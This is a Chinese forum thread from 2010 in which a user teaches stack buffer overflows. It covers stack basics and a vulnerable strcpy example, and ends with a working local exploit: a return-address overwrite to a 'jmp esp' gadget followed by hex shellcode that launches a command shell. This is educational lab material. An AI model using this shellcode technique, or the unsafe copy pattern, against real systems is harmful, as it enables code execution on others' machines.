whypro 发表于 2010-5-10 10:30:39

初探缓冲区溢出


1.堆栈知识
2.c语言的函数初探
3.例子

1.堆栈知识
1.1栈是一种数据结构,有着各种操作比如(push(压栈),pop(弹栈),top(栈顶相当于汇编里的esp),base(栈底相当于汇编里的ebp),好比一摞扑克牌。

PUSH:为栈增加一个元素的操作叫做PUSH,相当于在这摞扑克牌的最上面再放上一张。
POP:从栈中取出一个元素的操作叫做POP,相当于从这摞扑克牌取出最上面的一张。
TOP(栈顶相当于汇编里的esp):标识栈顶位置,并且是动态变化的,栈顶元素相当于扑克牌最上面一张,只有这张牌的花色是我们当前可以看到的。
BASE(栈底相当于汇编里的ebp):标识栈底位置,它记录着扑克牌最下面一张的位置。BASE用于防止栈空后继续弹栈(牌发完时就不能再去揭牌了)。很明显,一般情况下,BASE是不会变动的。
内存的栈区实际上指的就是系统栈。系统栈由系统自动维护,它用于实现高级语言中函数的调用。对于类似C语言这样的高级语言,系统栈的PUSH、POP等堆栈平衡细节是透明的。一般说来,只有在使用汇编语言开发程序的时候,才需要和它直接打交道。举个例子:我们去饭馆里吃饭,只管点菜(push)、付钱(esp)、你有多少钱(ebp)、吃饭(pop),吃饱了就走,不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作,他的好处是快捷,但是自由度小。
请看图用od载入记事本后的栈图:


然后我push(压栈)一次再看图:



如果不明白的话就跟帖询问吧。

1.2 堆------留着以后学习
2.c语言的函数初探int function1(int a,int b){

return (a+b);
}
int function(int a,int b){

return function1(a,b);
}

int main(int argc, char* argv[])
{
int i=1,j=0;
function(i,j);
return 0;
}
函数调用顺序是 main()---->function--->function1,下面看看汇编,他们是怎么传的参数(也就是栈操作),还有函数顺序如何改变。



15:   int main(int argc, char* argv[])<------main()主函数
16:   {
004010B0   push      ebp
004010B1   mov         ebp,esp
004010B3   sub         esp,48h
004010B6   push      ebx
004010B7   push      esi
004010B8   push      edi
004010B9   lea         edi,
004010BC   mov         ecx,12h
004010C1   mov         eax,0CCCCCCCCh
004010C6   rep stos    dword ptr
17:
18:       int i=1,j=0;
004010C8   mov         dword ptr ,1
004010CF   mov         dword ptr ,0
19:
20:
21:         function(i,j);
004010D6   mov         eax,dword ptr
004010D9   push      eax                  <------------- 参数0   
004010DA   mov         ecx,dword ptr
004010DD   push      ecx                  <------------- 参数1
004010DE   call      @ILT+10(function) (0040100f)<------ 调用函数function
004010E3   add         esp,8
现在我们看看function调用前堆栈的情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF80
EIP = 004010DE ESP = 0012FF24
EBP = 0012FF80 EFL = 00000212
22:
23:
24:
25:       return 0;
004010E6   xor         eax,eax
26:   }
004010E8   pop         edi
004010E9   pop         esi
004010EA   pop         ebx
004010EB   add         esp,48h
004010EE   cmp         ebp,esp
004010F0   call      __chkesp (00401200)
004010F5   mov         esp,ebp
004010F7   pop         ebp
004010F8   ret



我们进入函数function后堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF80
EIP = 00401070 ESP = 0012FF20
EBP = 0012FF80 EFL = 00000212
10:   int function(int a,int b){
00401070   push      ebp
00401071   mov         ebp,esp
00401073   sub         esp,40h
00401076   push      ebx
00401077   push      esi
00401078   push      edi
00401079   lea         edi,
0040107C   mov         ecx,10h
00401081   mov         eax,0CCCCCCCCh
00401086   rep stos    dword ptr
11:
我们进入函数function1前堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF1C
EIP = 00401020 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202
12:       return function1(a,b);
00401088   mov         eax,dword ptr
0040108B   push      eax
0040108C   mov         ecx,dword ptr
0040108F   push      ecx
00401090   call      @ILT+15(function) (00401014)
00401095   add         esp,8
13:   }
00401098   pop         edi
00401099   pop         esi
0040109A   pop         ebx
0040109B   add         esp,40h
0040109E   cmp         ebp,esp
004010A0   call      __chkesp (00401200)
004010A5   mov         esp,ebp
004010A7   pop         ebp
004010A8   ret



我们进入函数function1后堆栈情况:
EAX = 00000000 EBX = 7FFDF000
ECX = 00000001 EDX = 003811A8
ESI = 00000000 EDI = 0012FF1C
EIP = 00401020 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202
7:    int function1(int a,int b){
00401020   push      ebp
00401021   mov         ebp,esp
00401023   sub         esp,40h
00401026   push      ebx
00401027   push      esi
00401028   push      edi
00401029   lea         edi,
0040102C   mov         ecx,10h
00401031   mov         eax,0CCCCCCCCh
00401036   rep stos    dword ptr
8:      return (a+b);
00401038   mov         eax,dword ptr
0040103B   add         eax,dword ptr
9:    }
0040103E   pop         edi
0040103F   pop         esi
00401040   pop         ebx
00401041   mov         esp,ebp
00401043   pop         ebp
00401044   ret                   <----------我们单步走到这里,然后观察堆栈情况:
EAX = 00000001 EBX = 7FFDE000
ECX = 00000000 EDX = 003811A8
ESI = 00000009 EDI = 0012FF1C
EIP = 00401044 ESP = 0012FEC4
EBP = 0012FF1C EFL = 00000202

现在我们想返回main()函数内应开怎么办呢?
答案就是更改esp;因为ret等于pop IP.
吧esp的内容改成004010E3
004010DE   call      @ILT+10(function) (0040100f)
004010E3   add         esp,8
好了看看效果。






等一下再改一下这里把esp改成00000000
在看图:



好了如果把esp的内容改成我们所希望执行的代码,\(^o^)/~!!!!

最后大家看的头都晕了,楼主你在说什么呀?
我发个整体流程的图:

修改esp内容后,的流程图




3.例子#include "string.h"

void function(char *str){
        char buffer;
        strcpy(buffer,str);
}

int main(int argc, char* argv[])
{
        char large_str[]={"abcdefghijklmnoprstu"};
        function(large_str);//有问题的函数
        return 0;
}编译运行后出现提示如图:

论坛中缓冲区溢出蚊帐比较少,还请各位大侠指教,未完待续。

[ 本帖最后由 whypro 于 2010-5-12 09:48 编辑 ]

whypro 发表于 2010-5-10 13:30:42


谢谢各位老大给我的鼓励,继续写。
缓冲区溢出好比你往杯子里倒啤酒,倒满了还要再倒肯定会溢出的呀!
例子3中已经看到错误提示但是怎么利用呢这很关键,
先来看看汇编吧:
调用之前堆栈的情况:

main()函数下断点:00401324call 123.0040100A
进入后再看一下堆栈:

call指令相当于吧call下一条的地址入栈,然后跳转到子程序中去执行
00401070 >/> \55            push ebp
00401071|.8BEC          mov ebp,esp
00401073|.83EC 58       sub esp,0x58      <-----给堆栈分配空间 0x58
00401076|.53            push ebx
00401077|.56            push esi
00401078|.57            push edi
00401079|.8D7D A8       lea edi,
0040107C|.B9 16000000   mov ecx,0x16
00401081|.B8 CCCCCCCC   mov eax,0xCCCCCCCC             <------VC++Debug模式下把Stack上的变量初始化为0xcc,检查未初始化的问题
00401086|.F3:AB         rep stos dword ptr es:
00401088|.B9 05000000   mov ecx,0x5
0040108D|.BE 6C2F4200   mov esi,123.00422F6C                                          ;ASCII "abcdefghijklmnoprstu"
00401092|.8D7D E8       lea edi,
00401095|.F3:A5         rep movs dword ptr es:,dword ptr ds:
00401097|.A4            movs byte ptr es:,byte ptr ds:<-------字符串填充char large_str[]={"abcdefghijklmnoprstu"};
00401098|.8D45 E8       lea eax,
0040109B|.50            push eax<-------字符串压栈,也就是函数的参数(参数就两种传递方式传值和传地址),这个是什么方式呢?
再来看看堆栈:

0040109C|.E8 64FFFFFF   call 123.00401005                      <------function(large_str);<-----------------有问题的函数
004010A1|.83C4 04       add esp,0x4                           
004010A4|.33C0          xor eax,eax
004010A6|.5F            pop edi
004010A7|.5E            pop esi
004010A8|.5B            pop ebx
004010A9|.83C4 58       add esp,0x58                            <------------堆栈平衡 0x58,用完了就释放,非常便捷。
004010AC|.3BEC          cmp ebp,esp                        
004010AE|.E8 4D010000   call 123._chkespleBufferstringsWtetApage       <--------------------Debug模式下Stack对ESP的检查,有兴趣自己跟一下
004010B3|.8BE5          mov esp,ebp                                 
004010B5|.5D            pop ebp
004010B6\.C3            retn


下面我们来到0040109C|.E8 64FFFFFF   call 123.00401005                      <-----------------有问题的函数
进入函数后看一下堆栈:

00401020 >/> \55            push ebp
00401021|.8BEC          mov ebp,esp
00401023|.83EC 4C       sub esp,0x4C<-----分配堆栈空间
00401026|.53            push ebx
00401027|.56            push esi
00401028|.57            push edi
00401029|.8D7D B4       lea edi,
0040102C|.B9 13000000   mov ecx,0x13
00401031|.B8 CCCCCCCC   mov eax,0xCCCCCCCC<--------char buffer;初始化
00401036|.F3:AB         rep stos dword ptr es:
00401038|.8B45 08       mov eax,
0040103B|.50            push eax
0040103C|.8D4D F4       lea ecx,
0040103F|.51            push ecx
00401040|.E8 CB000000   call 123.strcpysgzeHeaderListle_pages<---------strcpy(buffer,str);执行拷贝
00401045|.83C4 08       add esp,0x8
00401048|.5F            pop edi
00401049|.5E            pop esi
0040104A|.5B            pop ebx
0040104B|.83C4 4C       add esp,0x4C
0040104E|.3BEC          cmp ebp,esp<---------------发现ebp,esp被改写

esp=0012FF10, (ASCII "mnoprstu")
ebp=0012FF10, (ASCII "mnoprstu")

00401050|.E8 AB010000   call 123._chkespleBufferstringsWtetApage
00401055|.8BE5          mov esp,ebp
00401057|.5D            pop ebp
00401058\.C3            retn
提醒一下retn相当于 把esp的内容给eip 然后执行eip
返回时的情况再看看

好的我们继续执行,看看效果。

这回我们改一下程序#include "string.h"

void function(char *str){
        char buffer;
        strcpy(buffer,str);
}

int main(int argc, char* argv[])
{
        char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"};
        function(large_str);
        return 0;
}

[ 本帖最后由 whypro 于 2010-5-12 09:49 编辑 ]

Nisy 发表于 2010-5-11 14:59:53

昨天看了下文章 笔记做的很详细 描述了程序运行时候堆栈操作的基本情况

可以技术深入 有兴趣的话 可以找本缓冲区溢出的书籍来丰富一下 期待 ~

yayazhi 发表于 2010-5-11 15:06:28

学习下/:good

pao 发表于 2010-5-11 17:53:50

学习,缓冲区溢出应该也能应用到crack上!

MOV 发表于 2010-5-11 18:29:42

/:good膜拜

小试锋芒 发表于 2010-5-11 21:54:09

很NB!有时间学习下/:good /:018

lgjxj 发表于 2010-5-12 00:59:21

毅力不是一般的大,过段时间就可以成才了 ,膜拜未来的大牛

whypro 发表于 2010-5-12 09:43:53

用od载入,来到上次出错的位置
00401020 >/> \55            push ebp
00401021|.8BEC          mov ebp,esp
00401023|.83EC 4C       sub esp,0x4C
00401026|.53            push ebx
00401027|.56            push esi
00401028|.57            push edi
00401029|.8D7D B4       lea edi,
0040102C|.B9 13000000   mov ecx,0x13
00401031|.B8 CCCCCCCC   mov eax,0xCCCCCCCC
00401036|.F3:AB         rep stos dword ptr es:
00401038|.8B45 08       mov eax,
0040103B|.50            push eax
0040103C|.8D4D F4       lea ecx,
0040103F|.51            push ecx
00401040|.E8 CB000000   call 123.strcpysgzeHeaderListle_pages
00401045|.83C4 08       add esp,0x8
00401048|.5F            pop edi
00401049|.5E            pop esi
0040104A|.5B            pop ebx
0040104B|.83C4 4C       add esp,0x4C
0040104E|.3BEC          cmp ebp,esp
00401050|.E8 AB010000   call 123._chkespleBufferstringsWtetApage
00401055|.8BE5          mov esp,ebp
00401057|.5D            pop ebp
00401058\.C3            retn               <-----来到这里
看一下堆栈,ESP已经变成0012FF14-->7FFA4512
正好是我们刚才改的那个值\x12\x45\xfa\x7f。看来我们输入的字符串直接可以影响函数的运行。/:08

下面我再改一下输入的字符串#include "string.h"

void function(char *str){
        char buffer;
        strcpy(buffer,str);
}

int main(int argc, char* argv[])
{
        char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"
          "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
                "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
                "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
                "\x77\x1d\x80\x7c"
                "\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
                "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
                "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
                "\x50\xB8"
                "\xc7\x93\xbf\x77"
                "\xFF\xD0"
                "\x83\xC4\x12\x5D"};
        function(large_str);
        return 0;
}


[ 本帖最后由 whypro 于 2010-5-12 10:15 编辑 ]

whypro 发表于 2010-5-12 09:54:58

上一楼运行后结果如图所示:

我们用输入的字符串打开了一个cmd窗口/:17
好了我们来分析一下
00401020 >/> \55            push ebp
00401021|.8BEC          mov ebp,esp
00401023|.83EC 4C       sub esp,0x4C
00401026|.53            push ebx
00401027|.56            push esi
00401028|.57            push edi
00401029|.8D7D B4       lea edi,
0040102C|.B9 13000000   mov ecx,0x13
00401031|.B8 CCCCCCCC   mov eax,0xCCCCCCCC
00401036|.F3:AB         rep stos dword ptr es:
00401038|.8B45 08       mov eax,
0040103B|.50            push eax
0040103C|.8D4D F4       lea ecx,
0040103F|.51            push ecx
00401040|.E8 CB000000   call 123.strcpysgzeHeaderListle_pages
00401045|.83C4 08       add esp,0x8
00401048|.5F            pop edi
00401049|.5E            pop esi
0040104A|.5B            pop ebx
0040104B|.83C4 4C       add esp,0x4C
0040104E|.3BEC          cmp ebp,esp
00401050|.E8 AB010000   call 123._chkespleBufferstringsWtetApage
00401055|.8BE5          mov esp,ebp
00401057|.5D            pop ebp
00401058\.C3            retn             <-----来到这里

提醒一下retn相当于 把esp的内容给eip 然后执行eip
观察堆栈:


我们继续运行来到这里
7FFA4512- FFE4            jmp esp

看一下堆栈情况:


然后来到这里:
0012FEAC    55            push    ebp
0012FEAD    8BEC            mov   ebp, esp
0012FEAF    33C0            xor   eax, eax
0012FEB1    50            push    eax
0012FEB2    50            push    eax
0012FEB3    50            push    eax
0012FEB4    C645 F4 4D      mov   byte ptr , 4D
0012FEB8    C645 F5 53      mov   byte ptr , 53
0012FEBC    C645 F6 56      mov   byte ptr , 56
0012FEC0    C645 F7 43      mov   byte ptr , 43
0012FEC4    C645 F8 52      mov   byte ptr , 52
0012FEC8    C645 F9 54      mov   byte ptr , 54
0012FECC    C645 FA 2E      mov   byte ptr , 2E
0012FED0    C645 FB 44      mov   byte ptr , 44
0012FED4    C645 FC 4C      mov   byte ptr , 4C
0012FED8    C645 FD 4C      mov   byte ptr , 4C
0012FEDC    BA 771D807C   mov   edx, 7C801D77
0012FEE1    52            push    edx
0012FEE2    8D45 F4         lea   eax, dword ptr
0012FEE5    50            push    eax
0012FEE6    FF55 F0         call    dword ptr
0012FEE9    55            push    ebp
0012FEEA    8BEC            mov   ebp, esp
0012FEEC    83EC 2C         sub   esp, 2C
0012FEEF    B8 636F6D6D   mov   eax, 6D6D6F63
0012FEF4    8945 F4         mov   dword ptr , eax
0012FEF7    B8 616E642E   mov   eax, 2E646E61
0012FEFC    8945 F8         mov   dword ptr , eax
0012FEFF    B8 636F6D22   mov   eax, 226D6F63
0012FF04    8945 FC         mov   dword ptr , eax
0012FF07    33D2            xor   edx, edx
0012FF09    8855 FF         mov   byte ptr , dl
0012FF0C    8D45 F4         lea   eax, dword ptr
0012FF0F    50            push    eax
0012FF10    B8 C793BF77   mov   eax, 77BF93C7
0012FF15    FFD0            call    eax

未完成,期待后续完工!

[ 本帖最后由 whypro 于 2010-5-12 10:38 编辑 ]
页: [1] 2
查看完整版本: 初探缓冲区溢出